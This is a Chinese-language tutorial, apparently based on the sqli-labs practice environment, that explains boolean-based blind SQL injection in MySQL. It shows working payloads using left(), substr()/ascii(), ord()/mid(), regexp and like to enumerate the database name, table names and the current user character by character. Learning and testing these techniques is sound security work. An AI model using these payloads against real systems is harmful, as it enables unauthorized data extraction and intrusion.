一、left()
首先需要 use security; 这个数据库,然后进入之后再使用查询语句:
此时再使用:
select left(database(),1)='s'; #该语句表示database()显示数据库名称后,left(a,b)从左侧截取a的前b位,若为s则显示1,若大于或小于s则显示0
即可成功查询
二、substr()与ascii()
ascii(substr(a,b,c));是指从a的b位开始截取c长度,在注入中,c一般均为1;而ascii()则表示将某个字符转换为ascii值
select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;
这句话的意思是:从所有库中查询出当前库——>database()——>security,再从security表中limit 0,1 即为第一个表,取该表的第一位,即 substr(a,b,c)第一位的第一个字符,查看其ascii值是否为101,是的话显示 1,不是显示0。
这样的用法不仅可用于查询表名,还可以用于查询库名:
select ascii(substr((select database()),1,1))=115;
意为查询当前数据库中的第一位是否为‘s’;
三、ord()与mid()
对当前数据库——security中第一个表emails取第一位,大于98返回1,大于101返回0,等于101返回1,即为101:
select ord(mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101;
mid(a,b,c)从位置b开始,截取a字符串的c位
ord()函数与ascii()函数类似,将字符转为ascii值
四、regexp正则
数据库执行user(),结果为:
正则可匹配当前的用户名是否为:root,是则返回1,不是则返回0:
select user() regexp '^ro';
五、一些实例正则使用:
(1)使用user()作为基底来做判断——>当前用户是否为root@locaihost,是则查出id为1的用户的账号密码,不是则返回0,由于是使用and进行连接,故查询的结果为空。
select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
(2) 下面的语句是(1)的简化,一样的使用1的返回值来判断查询语句是否可以执行成功:
select * from users where id=1 and 1=(user() regexp'^r');
(3)查询在security库中是否存在us开头的表名:
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
六、like
'%a' //以a结尾的数据
'a%' //以a开头的数据
'%a%' //含有a的数据
使用like做匹配注入:存在返回 1,不存在返回 0,%作为一个模糊匹配